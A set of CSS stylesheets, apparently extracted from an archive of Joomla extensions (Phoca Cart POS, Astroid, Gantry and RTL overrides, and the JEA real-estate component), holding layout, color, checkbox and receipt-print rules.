#ph-pc-pos-site .ph-pos-card-user-box,
#ph-pc-pos-site .ph-pos-sku-product-box ,
#ph-pc-pos-site .ph-pos-search-box {
	
	display: inline-block;
	margin: auto 5px auto auto;
}

#ph-pc-pos-site .ph-pos-message-box {
	float: left;
	margin-left: 1em;
}
#ph-pc-pos-site .ph-pos-search {
	border: 2px solid #00a3d9 !important;
	border-radius: 3px !important;
	box-shadow: none !important;
	color: #9a9a9a !important;
	font-weight: bold;
}
#ph-pc-pos-site .ph-pos-search::placeholder {
	color: #e3e3e3;
}


.ph-cart-subtotal-box,
.ph-cart-reward-discount-box,
.ph-cart-product-discount-box,
.ph-cart-discount-box,
.ph-cart-coupon-box,
.ph-cart-tax,
.ph-cart-shipping-box,
.ph-cart-currency-box,
.ph-cart-payment-box {
	padding: 0px 0px;
}

.ph-cart-currency-box,
.ph-cart-total-box {
	border: 2px solid #00a3d9;
	background: #f5fcff;
	padding: 10px 0px;
	font-weight: bold;
	color: #00a3d9;
	margin-bottom: 20px;
}


#ph-pc-pos-site .ph-category-add-to-cart-box.fullbutton.grid div .btn {
    width: 100%;
    height: 100%;
    position: absolute;
    top: 0px;
    left: 0px;
    background: transparent;
    border: 0px;
    color: transparent;
    margin: 0px;
}


.col-md-2,
.col-md-4,
.col-md-6,
.col-md-8,
.col-md-10,
.col-md-12,
.col-md-3,
.col-md-5,
.col-md-7,
.col-md-9,
.col-md-11 {
/*border: 1px solid red;*/
}

.ph-pos-logo {
	margin: 0 1em;
}

.btn.ph-pos-btn-ticket {
	font-weight: bold;
	width: 3em;
	text-align: center;
	margin: 0 3px;
	font-size: 120%;
}
.btn.ph-pos-btn-ticket span {
	margin: 0 auto;
}
.ph-pos-vendor-title {
	color: #fff;
}

#ph-pc-pos-site .row {
	margin-bottom: 5px;
}

.ph-pos-btn-dropdown {
	margin: 5px;
}

/* Checkbox Category Button */
.ph-pos-checkbox-form,
.ph-pos-checkbox-box {
	margin: 0;
	padding: 0;
}
.ph-pos-checkbox-box {
	margin: 0;
	padding: 0;
	display: flex;

	flex: 1;
	flex-grow:9999;
	width: 100%;
	flex-wrap: wrap;
	align-items: center;
	 

	
}

#ph-pc-pos-site .btn.phCheckBoxButton.phCheckBoxCategory  {
	flex-grow:9999;
	border-left: 1px solid #c0c0c0;
	border-right: 1px solid #c0c0c0;
	border-bottom: 1px solid #c0c0c0;
	box-shadow: none;
	border-radius: 0px !important;
	background: transparent;
	/*margin-left: -1px;
	margin-top: -1px;*/
	border-top: 1px solid transparent;
	border-left: 1px solid transparent;
	font-weight: bold;
	text-transform: uppercase;
	color: #777;
	max-width: 100rem;
    overflow:scroll;
	
	
}
#ph-pc-pos-site .btn.phCheckBoxButton.phCheckBoxCategory.active,
#ph-pc-pos-site .btn.phCheckBoxButton.phCheckBoxCategory:hover  {
	flex-grow:9999;
	border-left: 1px solid #d2d2d2;
	border-right: 1px solid #d2d2d2;
	border-bottom: 1px solid #d2d2d2;
	box-shadow: none;
	border-radius: 0px !important;
	background: transparent;
	/*margin-left: -1px;
	margin-top: -1px;*/
	border-top: 1px solid transparent;
	border-left: 1px solid transparent;
	border: 1px solid #00a3d9;
	background: #00a3d9;
	color: #fff;
}
#ph-pc-pos-site .btn.phCheckBoxButton.phCheckBoxCategory span.glyphicon,
#ph-pc-pos-site .btn.phCheckBoxButton.phCheckBoxCategory span.fa{
    display: inline-block;
    margin: 0px;
	padding: 3px 6px 7px 6px;
	width: 13px;
	height: 15px;
    cursor: pointer;
	border: 0px solid #9a9a9a;
	box-sizing: content-box;
	border-radius: 0px;
	text-decoration: none;
	box-shadow: none;
	opacity: 0;	
}
#ph-pc-pos-site .btn.phCheckBoxButton.phCheckBoxCategory.active
span.glyphicon,
#ph-pc-pos-site .btn.phCheckBoxButton.phCheckBoxCategory.active span.fa { 

	border: 0px solid #00a3d9;
	margin: 0px;
	padding: 3px 6px 7px 6px;
	width: 13px;
	height: 15px;
	color: #fff;
	box-sizing: content-box;
	border-radius: 0px;
	text-decoration: none;
	opacity: 1;	
	text-shadow: -2px 0 #fff, 0 2px #fff, 2px 0 #fff, 0 -2px #fff;
}

.ph-req {
	font-weight: bold;
	color: #CC0000;
}

#ph-pc-pos-site .row-item {
	padding: 5px !important;
}

#ph-pc-pos-site .ph-pd-zero {
	padding: 0;
}

#ph-pc-pos-site .ph-pos-thumbnail {
	background: #fff;
	border-radius: 1px;
	border: 1px solid transparent;
	box-shadow: 2px 2px 1px #d2d2d2;
	padding: 5px;
}

#ph-pc-pos-site .ph-pos-thumbnail:hover {
	background: #fff;
	border-radius: 1px;
	border: 1px solid #00a3d9;
	box-shadow: 2px 2px 1px #d2d2d2;
	padding: 5px;
}

#ph-pc-pos-site .alert,
#ph-pc-pos-site select,
#ph-pc-pos-site .chosen-single {
	border-radius: 0px;
}

#ph-pc-pos-site .ph-pos-customer-row-header,
#ph-pc-pos-site .ph-pos-payment-method-row,
#ph-pc-pos-site .ph-pos-shipping-method-row,
#ph-pc-pos-site .ph-pos-customer-row{
	border-bottom: 1px solid #d2d2d2;
	margin: 0;
}

#ph-pc-pos-site .ph-pos-payment-method-row:hover,
#ph-pc-pos-site .ph-pos-shipping-method-row:hover,
#ph-pc-pos-site .ph-pos-customer-row:hover{
	background: #00a3d9;
	color: #fff;
}
#ph-pc-pos-site .ph-pos-customer-action {
	text-align: right;
}
#ph-pc-pos-site .ph-pagination {
	margin-top: 1em;
}

#ph-pc-pos-site .ph-alert-small {
	margin-top: 0px !important;
}

.ph-result-txt {
	margin: 0 5px 0 0;
	padding: 3px;
	line-height: 1;
}
.ph-result-txt ul {
	margin: 0;
	padding: 0;

}

.ph-result-txt ul li{
	margin: 0;
	padding: 0;
	list-style-type: none;
}

.ph-result-txt.ph-error-txt {
	background-color: #f2dede;
	border: 1px solid #ebccd1;
	color: #a94442;
}
.ph-result-txt.ph-success-txt {
	background-color:#dff0d8;
	border-color:#d6e9c6;
	color:#3c763d
}
.ph-result-txt.ph-info-txt {
	background-color:#E5F3FF;
	border-color:#ADD9FF;
	color:#0079e0
}

.ph-warning {
	font-weight: bold;
	color: #c00000;
}

.ph-pos-nav-empty {
	width: 60%;
}

.ph-img-inside-btn {
	margin: 0 10px 0 0;
	padding: 0;
	display: inline-block;
}
.ph-img-inside-btn img{
	width: auto;
	height: 1.4em;
	margin: 0;
	padding: 0;
}



.ph-sections,
.ph-section {
	margin: 15px;
}
#ph-pc-pos-site .ph-sections .row {
	padding: 5px;
	display: flex;
	flex-direction: row;

	
}

#ph-pc-pos-site .ph-unit {
	margin: 5px;
	
	background: #fff;
	border: 1px solid #d0d0d0;

	border-radius: 3px;
	background-color: #EEF8FC;
	background-color: #EFF2F6;

	
}

#ph-pc-pos-site .ph-unit:hover {
	background: #f5f5f5;
	background-color: #E6EBF1;
}

#ph-pc-pos-site .ph-pos-section-unit-box {
	
	
	text-align: center;
	min-width: 10em;
	max-width: 15em;
	padding: 5px;
	display: flex;
	flex-direction: column;
	
	
}

#ph-pc-pos-site .ph-pos-section-ticket-box {

	text-align: left;
	min-width: 10em;
	max-width: 15em;

}

#ph-pc-pos-site .btn-unit {
	
	font-weight: bold;
	font-size: 130%;
	padding: 30px;
	

}

#ph-pc-pos-site .ph-unit .btn-ticket {
	border-radius: 3px !important;
	color: #fff;
    background-color: #29ABE0;
    border-color: #29ABE0;
	text-transform: lowercase;
	margin: 3px;
	position: relative;
}
#ph-pc-pos-site .ph-pos-ticket-count {
	font-size: 0.7em;
	padding: 0.3em 0.7em;
	color: #fff;
	border-radius: 50%;

	margin-top: -10px;
	margin-right: -10px;
	position: absolute;
	right: 0;
	top: 0;
}
#ph-pc-pos-site .ph-pos-ticket-count.ph-pos-ticket-true {
	background: #93C54B;
}
#ph-pc-pos-site .ph-pos-ticket-count.ph-pos-ticket-false {
	background: #d9534f;
}
#ph-pc-pos-site .ph-unit .btn-ticket.ph-pos-ticket-false {
	
}
#ph-pc-pos-site .ph-unit .btn-ticket.ph-pos-ticket-true {
	
}

.ph-pos-main-input .btn {
	margin: 2px;
}

#ph-pc-pos-site .ph-box-header {
	margin-top: 0;
	color: #00a3d9;
	font-size: 150%;
	margin-bottom: 10px;
	padding: 0px;
}

#ph-pc-pos-site .ph-cb {

}

#ph-pc-pos-site .ph-pos-hr {
	border-bottom: 2px solid #00a3d9;
	margin-bottom: 1em;
}
/*
#ph-pc-pos-site .ph-pos-hr-sub {
	border-bottom: 1px solid #d2d2d2;
	margin-bottom: 1em;
}*/

.ph-pos-coupon-reward-box {
	margin: 0 30px;
}

.ph-pos-row {
	margin: 0;
}

#ph-pc-pos-site .ph-currency-list-box {
	 white-space: nowrap;
}
#ph-pc-pos-site .ph-vendor-dropdown {
	color: #555;
	padding: 10px;
	
}

#ph-pc-pos-site .ph-dropdown-header {
	font-weight: bold;
	color: #00a3d9;
	margin: 5px;
}

#ph-pc-pos-site .ph-btn-dropdown-currency {
	margin: 5px;
}

#ph-pc-pos-site .ph-pos-total-to-pay {
	font-size: 220%;
	color: #00a3d9;
	font-weight: bold;
}

#ph-pc-pos-site .ph-pos-amount-change {
	font-size: 120%;
	font-weight: bold;
}

#ph-pc-pos-site .ph-pos-amount-tendered {

	border: 2px solid #00a3d9 !important;
	border-radius: 3px !important;
	box-shadow: none !important;
	color: #9a9a9a !important;
	font-weight: bold;
	margin: auto;
	text-align: right;
}


input[type="number"]::-webkit-outer-spin-button,
input[type="number"]::-webkit-inner-spin-button {
    -webkit-appearance: none;
    margin: 0;
}
input[type="number"] {
    -moz-appearance: textfield;
}

#ph-pc-pos-site .row-vac {

	display: flex;
	align-items: center;
	
	
} 
#ph-pc-pos-site .ph-pos-payment-box {
	margin-top: 3em;
}

#ph-pc-pos-site .ph-pos-payment-item-txt {
	font-weight: bold;
} 

#ph-pc-pos-site  .ph-pos-payment-confirm-box {
	margin: 1em auto;
	text-align: center;
}
#ph-pc-pos-site .btn-extra-lg{
	font-size: 180%;
	padding: 0.8em 1.6em; 
}

/* POS receipt */



#ph-pc-pos-site  .ph-pos-order-print-box {
	float: right;
}

#ph-pc-pos-site  .ph-pos-order-print-box .btn {
	font-size: 200%;
	padding: 15px;
	margin-bottom: 5px;
}


/* Javascript Print */

#phPosOrderPrintBox {
	border: 1px solid #d2d2d2;
	border-radius: 2px;
	background-color: #fff;
}
#ph-pc-pos-site .phType4 {
	display: block;
    unicode-bidi: embed;
    font-family: monospace;
    white-space: pre;
	text-align: left;
	text-align: center; 
	margin: 0 auto; 
	width: 100%;
	padding: 50px 10px;
}

#phPosOrderPrintBox.phType4 {

	
	display: flex;
    align-items: center;
    justify-content: center;
    flex-direction: column;
	
}

/* PRINT FORMAT ON SCREEN */
#phPosOrderPrintBox .phPrintInBox .pFeed[data-value="3"] {
	margin-top: 3em;
}
#phPosOrderPrintBox .phPrintInBox .pFeed[data-value="2"] {
	margin-top: 2em;
}
#phPosOrderPrintBox .phPrintInBox .pFeed[data-value="1"] {
	margin-top: 1em;
}
#phPosOrderPrintBox .pDoubleSize {
	font-size: 200%;
}
#phPosOrderPrintBox .pDoubleSizeCenter {
	font-size: 200%;
	text-align: center;
	
}
#phPosOrderPrintBox .pCenter {
	text-align: center;
	
}
#phPosOrderPrintBox div,
#phPosOrderPrintBox .pLeft {
	text-align: left;
}

#phPosOrderPrintBox.phType4 .phPrintInBox {
	text-align: center;
	background: #f5f5f5;
	padding: 25px 15px;
}
#phPosOrderPrintBox.phType4 .phPrintInBox div {
	margin: 0;
	padding:0;
}


.btn {
	border-radius: 2px !important;
}

@media print {
  body * {
    visibility: hidden;
  }
  #phPosOrderPrintBox, #phPosOrderPrintBox * {
    visibility: visible;
	border: 0;
	margin:0;
	padding: 0;
  }
  #phPosOrderPrintBox {
    position: absolute;
    left: 0;
    top: 0;
  }
}





#phPosDateOrdersForm  input {
	border: 2px solid #00a3d9 !important;
	border-radius: 3px 0px 0px 3px !important;
	box-shadow: none !important;
	color: #9a9a9a !important;
	font-weight: bold;
}
#ph-pc-pos-site #phPosDateOrders_btn {
	margin-left: -3px;
	margin-right: 5px;
	border: 2px solid #00a3d9;
	padding: 0px 5px 6px 5px;
	
}

#ph-pc-pos-site .icon-calendar {
	color: #A6AAB1;
	padding-top:5px;
}
#ph-pc-pos-site .ph-pos-customer-row-header div {
	font-weight: bold;
}

#ph-pc-pos-site  h3 {
    text-transform: uppercase;
	font-weight: normal;
}

#ph-pc-pos-site .ph-currency-list .ph-currency-image-list {
    margin-top: -2px;
}


#phPosWarningMsgBox {
	position: absolute;
	bottom:0;
	text-align: center;
	margin: 0 auto;
	padding: 15px 10px;
	background-color: #ffff73;
	color: #555;
	font-weight: bold;
	width: 100%;
}


.ph-pos-wrap-top a.nav-link.active {
	cursor: pointer !important;
}

.form-inline .form-group .ph-input-quantity.ph-input-sm {
    width: 2em;
}spec/astroid.css000064400000017432151170511360007664 0ustar00/* @package
Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Cart
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz -
https://www.phoca.cz/phocacart
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */

 /* Astroid Bootstrap 4 */

 /* Checkboxes */
.ph-checkbox-container {
	display: block;
	position: relative;
	cursor: pointer;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
	padding-left: 30px;
	padding-top: 5px;
	margin-top:0;
	padding-bottom: 2px;
}

.ph-checkbox-container input {
	position: absolute;
	opacity: 0;
	cursor: pointer;
	height: 0;
	width: 0;
}

.ph-checkbox-checkmark {
	position: absolute;
	top: 5px;
	left: 0;
	height: 25px;
	width: 25px;
	background-color: #f9f9f9;
	border: 2px solid #f0f0f0;
	border-radius: 2px;
}

.ph-checkbox-container:hover input ~ .ph-checkbox-checkmark {
	background-color: #f0f0f0;
	border: 2px solid #f0f0f0;
	border-radius: 2px;
}

.ph-checkbox-container input:checked ~ .ph-checkbox-checkmark {
	background-color: #000;
	border: 2px solid #000;
	border-radius: 2px;
}

.ph-checkbox-checkmark:after {
	content: "";
	position: absolute;
	display: none;
}

.ph-checkbox-container input:checked ~ .ph-checkbox-checkmark:after {
	display: block;
}

.ph-checkbox-container .ph-checkbox-checkmark:after {
	left: 8px;
	top: 2px;
	width: 7px;
	height: 14px;
	border: solid white;
	border-width: 0 3px 3px 0;
	-webkit-transform: rotate(45deg);
	-ms-transform: rotate(45deg);
	transform: rotate(45deg);
}

.phSelectBoxButton.color-ffffff {
	border: 2px solid #f0f0f0;
}
.phSelectBoxButton.color-ffffff:after {
	color: #f0f0f0;
	text-shadow: -2px 0 #f0f0f0, 0 2px #f0f0f0, 2px 0 #f0f0f0, 0 -2px
#f0f0f0;
}

.blog-sidebar .ph-filter-box ul:not(.slick-dots) li {
	padding: 0;
	font-size: inherit;
}

/* Pagination */
.ph-pagination-top div,
.ph-pagination-top div select,
.ph-pagination div,
.ph-pagination div select {
	display: inline;
}

.pagination {
	margin: 1em auto;
}

.ph-pagination-top .btn.phItemSwitchLayoutType,
.ph-pagination-top .btn.phItemSwitchLayoutType.active {
    background: transparent !important;
	border: 0;
}


source.img-thumbnail {
	border: 0;
}

.ph-category-action-buttons {
line-height: 2.4;
}



/* Top Modules
class suffix: ph-main-nav-top-box
position: topbar-2
*/
.moduletable.ph-main-nav-top-box {
	display: inline-block;
	margin: 0;
	padding: 0;
	margin-left: 5px;
	margin-right: 5px;
}

.ph-compare-module-box,
.ph-wishlist-module-box,
.ph-item-cart-box div .row {
	margin-right: 10px;
	margin-left: 10px;
}

.ph-cart-module-box .dropdown .dropdown-menu {
	z-index: 9999;
	margin: 0;
	padding: 5px;
	border-radius: 0;
	background: #000;
	color: #fff;
	min-width: 15rem;
	margin-right: -2rem;
}

.ph-cart-module-box .dropdown .dropdown-toggle {
	cursor: pointer;
}

.ph-cart-module-box .dropdown .dropdown-menu .ph-small {
	font-size: 100%;
}

.ph-filter-box .ph-right-zero {

    margin-right: 0;
}

a.ph-btn:not([href]):not([tabindex]),
a.ph-btn:not([href]):not([tabindex]):hover,
a.ph-btn:not([href]):not([tabindex]):focus,
a.ph-btn {

    color: #fff;
    cursor: pointer;
}

.ph-item-add-to-cart-box .form-group {
    padding-left: 5px;
}
.ph-item-add-to-cart-box .form-group label {
    padding-right: 5px;
}

.ph-checkout-cart-box .ph-checkout-cart-quantity .ph-btn {
    margin-left: 3px;
}

#ph-pc-checkout-box .form-inline .form-group .ph-input-quantity {
    width: 56px !important;
	height: 30px;
}

#ph-pc-checkout-box .form-inline .form-group .ph-input-apply-coupon,
#ph-pc-checkout-box .form-inline .form-group .ph-input-apply-reward-points
{
    max-width: 10em !important;
    /*height: 30px;*/
}

#phQuickViewPopup .bootstrap-touchspin .input-group-btn-vertical >
.btn,
#ph-pc-checkout-box .bootstrap-touchspin .input-group-btn-vertical >
.btn,
#ph-pc-item-box .bootstrap-touchspin .input-group-btn-vertical > .btn {
    line-height: 0.5;
}


.ph-checkout-icon-spec-finished {
	border-radius: 3px;
}

.ph-checkout-icon-spec-pending {
	border-radius: 3px;
}
/*
input[type="radio"], input[type="checkbox"] {
	margin-top: -1px !important;
}*/
#ph-pc-checkout-box .checkbox input[type="checkbox"],
#ph-pc-account-box .checkbox input[type="checkbox"],
#ph-pc-wishlist-box .checkbox input[type="checkbox"] {
	margin-top: 7px;
	margin-left: 3px;
}

#ph-pc-checkout-box .ph-checkout-checkbox-confirm label
input[type="checkbox"] {
	margin-top: -1px;
	margin-right: 3px;
}

#ph-pc-checkout-box .radio input[type="radio"],
#ph-pc-checkout-box .radio input[type="radio"] {
	margin-top:-1px;
}

.ph-orders-btn {
	margin-bottom: 3px;
}
.ph-orders-btn .ph-icon-pdf-text {
	margin: 0;
	padding:0;
}




/* Custom CSS */

/*
.ph-mega-menu-content-module-box .ph-image,
#ph-pc-categories-box .ph-item-content a .ph-image,
#ph-pc-category-box .phIBox .ph-image,
#ph-pc-item-box .ph-image-full,
#phQuickViewPopup .ph-image-full {

	border-radius: 50%;
	border: 1em solid #f5f5f5;
	padding: 0;
}

.ph-mega-menu-content-module-box .ph-mega-menu-content-image.ph-man {
	border-radius: 0;
	border: 0;
}

.ph-mega-menu-content-module-box .ph-image.ph-cat {
	width: 33%;
	height: auto;
	border: 0.5em solid #f5f5f5;
}

#ph-pc-category-box .b-thumbnail,
#ph-pc-categories-box .b-thumbnail {
	border: 0px;
}

#ph-pc-categories-box .ph-item-content .ph-pull-right,
#ph-pc-categories-box h3 {
	text-align: center;
	float: none;
}

.ph-mega-menu-content-header,
#ph-pc-category-box h3,
#ph-pc-categories-box h3,
#phQuickViewPopup .ph-header,
#ph-pc-item-box .ph-header {
    background: linear-gradient(to right,#8A2387, #E94057,#F27121);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    -webkit-box-decoration-break: clone;
    box-decoration-break: clone;
    text-shadow: none;
}


.btn-primary {
    color: #fff;
    background: linear-gradient(to right, #8A2387, #E94057,#F27121)
!important;
    border: 0px !important;
}

.btn-primary:not(:disabled):not(.disabled):active:focus, 
.btn-primary:not(:disabled):not(.disabled).active:focus ,
.btn-primary:focus, 
.btn-primary.focus {
     box-shadow: 0 0 0 0.2rem rgba(219, 27, 98, .5) !important;
}

.btn-success {
    color: #fff;
	background: linear-gradient(to right, #085078, #309488) !important;
    border: 0px !important;
}
.btn-success:not(:disabled):not(.disabled):active:focus, 
.btn-success:not(:disabled):not(.disabled).active:focus ,
.btn-success:focus, 
.btn-success.focus {
	box-shadow: 0 0 0 0.2rem rgba(48, 148, 136, .5) !important;
}

.btn-danger {
    color: #fff;
	background: linear-gradient(to right, #c31432, #240b36) !important;
    border: 0px !important;
}
.btn-danger:not(:disabled):not(.disabled):active:focus, 
.btn-danger:not(:disabled):not(.disabled).active:focus ,
.btn-danger:focus, 
.btn-danger.focus {
	box-shadow: 0 0 0 0.2rem rgba(219, 27, 98, .5) !important;
}



#ph-pc-category-box .btn-primary {
	letter-spacing: 0px;
}

.astroid-footer a,
.astroid-contact-info a,
.astroid-component-section .astroid-column ul.nav li a{
	border-bottom: 2px solid #db1b62;
	padding-bottom: .15rem;	
}


ul.nav.astroid-social-icons li a {
	border: 0;
}


.pcBottom {
	color: #fff;
	padding: 13em 5em;
	font-weight: bold;
	/*text-shadow: 0 0 3px #fff, 0 0 6px #fff, 0 0 9px #fff, 0 0 12px #FC9B3C,
0 0 15px #FC9B3C, 0 0 18px #FC9B3C, 0 0 21px #FC9B3C, 0 0 24px
#FC9B3C;*//*
	text-shadow: 0 0 3px #fc9b3c;
	opacity: 0.7;
	
}

.pcBottomHeader {
	font-size: 5em;
	margin-bottom: 0.5em;
}

.pcBottomText {
	font-size: 3em;
	margin-top: 0.5em;
}
*/spec/gantry.css000064400000000706151170511360007517 0ustar00/* @package
Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Cart
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz -
https://www.phoca.cz/phocacart
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
 
#phContainerPopup .modal-body {
	height: calc(95vh - 120px);
}

#phContainerPopup .modal-body iframe{
	height: 95%;
}spec/index.html000064400000000054151170511360007472
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>spec/rtl.css000064400000013330151170511360007011
0ustar00/* @package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Cart
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz -
https://www.phoca.cz/phocacart
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */

.ph-right {
	text-align: left;
}
.ph-left{
	text-align: right;
}


.ph-item-reward-box .ph-reward,
.ph-category-price-box .ph-price-brutto,
.ph-category-price-box .ph-price-netto,
.ph-category-price-box .ph-price-original,
.ph-category-price-box .ph-price-base,
.ph-category-price-box .ph-tax,

.ph-item-sku-box .ph-sku,
.ph-item-upc-box .ph-upc,
.ph-item-ean-box .ph-ean,
.ph-item-jan-box .ph-jan,
.ph-item-isbn-box .ph-isbn,
.ph-item-mpn-box .ph-mpn,
.ph-item-serial-number-box .ph-serial-number,

.ph-item-min-qty-box .ph-min-qty,
.ph-item-manufacturer-box .ph-manufacturer,
.ph-item-delivery-date-box .ph-delivery-date,
.ph-item-price-box .ph-price-brutto,
.ph-item-price-box .ph-price-netto,
.ph-item-price-box .ph-price-original,
.ph-item-price-box .ph-price-base,
.ph-item-price-box .ph-tax,
.ph-item-stock-box .ph-stock {
	float: left;
}

.ph-item-reward-box .ph-reward-txt,

.ph-category-price-box .ph-price-txt,
.ph-category-price-box .ph-tax-txt,
.ph-category-stock-box .ph-stock-txt,

.ph-item-sku-box .ph-sku-txt,
.ph-item-upc-box .ph-upc-txt,
.ph-item-ean-box .ph-ean-txt,
.ph-item-jan-box .ph-jan-txt,
.ph-item-isbn-box .ph-isbn-txt,
.ph-item-mpn-box .ph-mpn-txt,
.ph-item-serial-number-box .ph-serial-number-txt,

.ph-item-min-qty-box .ph-min-qty-txt,
.ph-item-manufacturer-box .ph-manufacturer-txt,
.ph-item-delivery-date-box .ph-delivery-date-txt,
.ph-item-price-box .ph-price-txt,
.ph-item-price-box .ph-tax-txt,
.ph-item-stock-box .ph-stock-txt {
	float: right;
	clear: both;
}

.ph-checkout-cart-product {
	text-align: right;
}

.ph-checkout-total-discount,
.ph-checkout-total-coupon,
.ph-checkout-total-amount,
.ph-checkout-cart-netto,
.ph-checkout-cart-brutto,
.ph-checkout-cart-tax {
	text-align: left;
	/*margin-right: 10px;
	padding-right: 10px;*/
}

.ph-checkout-cart-box tr td ul {
	margin-right: -20px;
}



.ph-li-inline li {
	float: right;

	margin-right: 30px;
}

.ph-left-border {
	border-right: 1px solid #ddd;
	margin-right: -1px;
}
.ph-right-border {
	border-left: 1px solid #ddd;
}

.ph-checkout-icon-finished,
.ph-checkout-icon-ok {
	margin-left: 3px;
}

.ph-checkout-icon-pending,
.ph-checkout-icon-not-ok {
	margin-left: 3px;

}

.ph-checkout-payment-netto,
.ph-checkout-payment-brutto,
.ph-checkout-payment-tax ,
.ph-checkout-shipping-netto,
.ph-checkout-shipping-brutto,
.ph-checkout-shipping-tax {
	text-align: left;
}


.ph-checkout-checkbox-confirm {
	padding-left: 20px;
}

.ph-idnr-to-pay-value {
	text-align: left;
}


.ph-category-item-addtocart {
	float: left;
}

.ph-category-item-compare {
	float: left;
}

.ph-category-item-wishlist {
	float: left;
}

.ph-category-item-quickview {
	float: left;
}
.ph-center-pagination input,
.ph-center-pagination select,
.ph-center-pagination .chosen-container {
	text-align:right;
}

.ph-new-icon {
	right: auto;
	left: 25px;
}
.ph-hot-icon {
	right: auto;
	left: 45px;
}
.ph-featured-icon {
	right: auto;
	left: 65px;
}


/* SINCE 3.1.2 - LABELS including HOT, NEW, FEATURED */

.ph-label-box {
	right: auto;
	left: 0.2em;
}

.ph-item-box.list .ph-label-box {
	left: auto;
	right: 0.3em;
}

#phQuickViewPopup .ph-label-box,
#ph-pc-item-box .ph-label-box {
	left: 1.2em;
}

.ph-corner-icon-wrapper {
	float: left;
}

.ph-item-box.list .ph-corner-icon-wrapper {
	float: right;
}

.ph-right-zero {
	margin-left: -15px;
	padding-left: 0px;
}

.ph-left-zero {
	margin-right: 0px;
	padding-right: 0px;
}

.ph-video-container iframe, .ph-video-container object, .ph-video-container
embed {
	left: auto;
	right:0;
}


/* Modules */

.ph-filter-module-categories-tree {
	margin-right: -1em;
}
ul.ph-filter-module-category-tree {
	padding-right: 1em;
}

.ph-checkout-shipping-row .form-group .control-label,
.ph-checkout-billing-row .form-group .control-label {
	text-align: right;
}

.phSelectBoxButton.on:after {
  left: auto;
  right: -3px;
}


.phSelectBoxImage.on:after {
 	left: auto;
  	right: 40%;
}

.ph-item-image-full-left-box {
	text-align: right;
}

#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage.active
span.glyphicon,
#phItemAttributesBox .btn.phCheckBoxButton.phCheckBoxImage.active span.fa
{
	left: auto;
	right: 40%;
}

.ph-cart-link-checkout {
	margin-left: 2px;
}


.ph-cart-module-image {}
.ph-cart-attribute-box {}
.ph-cart-attribute-box-i {
	padding-right: 30%;
}

.ph-checkout-attribute-box {
	margin-right: 15px;
}


#phItemTopBoxForm .ph-pag-top-row {
	padding-left: 5px;
	padding-right: 5px;
}


.ph-pull-right {
	float: left;
}
.ph-pull-left {
	float: right;
}

.ph-currency-list-suffix .ph-currency-image-list {
	margin-right: 3px
}
.ph-currency-list .ph-currency-image-list {
	margin-right: -5px;
}

.ph-t-cell h3 {
	left: auto;
	right: 1em;
}
.ph-t-cell .btn {
	left: auto;
	right: 1em;
}

#phPriceFilterPrice {
	text-align: left;
}

/* align icon */
.left-addon .glyphicon  { left: auto; right:  0px;}
.right-addon .glyphicon { right: auto; left: 0px;}
.left-addon .fa  { left: auto; right:  10px;}
.right-addon .fa { right: auto; left: 10px;}
/* add padding  */
.left-addon input  { padding-right:  30px; width: 100% }
.right-addon input { padding-left: 30px; width: 100% }

table.pc-tax-recapitulation tr td {
	text-align: left;
}

.ph-plg-product-info {
	text-align: right;
}
print.css000064400000000000151172264330006404
0ustar00jea.css000064400000016613151172264330006030 0ustar00.clr {
	clear: both;
}

.numberbox {
	text-align: right;
	padding-right: 2px;
}

.right {
	text-align: right;
}

/*** Properties Search layout ***/

#jea-search-form label {
	display: inline !important;
}

#jea-search-form input {
	width: auto !important;
}

#jea-search-form .jea-counter {
	float: right;
}

#jea-search-form .jea-counter-result {
	font-weight: bold;
}

#jea-search-form h2, #jea-search-form hr {
	clear: both;
}

#jea-search-form hr {
	margin: 1em 0;
}

#jea-search-form select {
	width: 12em;
}

#jea-search-form dl {
	padding: 0.5em 0;
}

#jea-search-form dl.col-left, #jea-search-form dl.col-right {
	float: left;
}

#jea-search-form dl.col-left {
	margin-right: 3em;
}

#jea-search-form dt, #jea-search-form dd {
	margin: 0;
	padding: 0;
	display: table-cell;
}

#jea-search-form dt {
	min-width: 5em;
}

#jea-search-form ul {
	overflow: hidden;
	margin: 1em 0 !important;
	padding: 0 !important;
}

#jea-search-form ul.jea-search-other li {
	list-style: none;
	margin: 0.5em 0 !important;
	padding: 0 !important;
}

#jea-search-form ul.jea-search-other label {
	display: inline-block;
	min-width: 13em;
}

#jea-search-form .amenities li {
	width: 17em;
	margin: 0 1.5em 0.5em 0 !important;
	padding: 0 !important;
	float: left;
	list-style: none;
}

/* Properties Default layout */

.limitbox {
	text-align: right;
}

dl.jea_item {
	border-top: 1px dashed #ccc;
	padding: 1em 0;
	margin: 0;
}

dl.jea_item:FIRST-CHILD {
	border-top: none;
	padding-top: 0;
}

dl.jea_item dt.title {
	margin-bottom: 0.7em;
}

dl.jea_item dt.title strong {
	font-size: 1.3em;
}

dl.jea_item dt.image {
	text-align: center;
	margin-bottom: 1em;
}

dl.jea_item dt.image img {
	border-color: #819d26;
}

dl.jea_item span.slogan {
	float: right;
}

dl.jea_item span.slogan strong {
	color: red;
}

@media ( min-width : 1200px) {

	dl.jea_item {
		/* formatting context, prevent overshooting of floating */
		overflow: hidden;
	}

	dl.jea_item dt.title {
		clear: both;
	}

	dl.jea_item dt.image {
		float: left;
		margin-right: 1em;
		margin-bottom: 0;
	}
}

/* Property Default layout */
.prev-next-navigation {
	text-align: center;
}

.prev-next-navigation .previous {
	display: inline-block;
	margin-right: 20px;
}

.jea-tools .print-icon {
	float: right;
}

.jea-tools img {
	border: none;
}

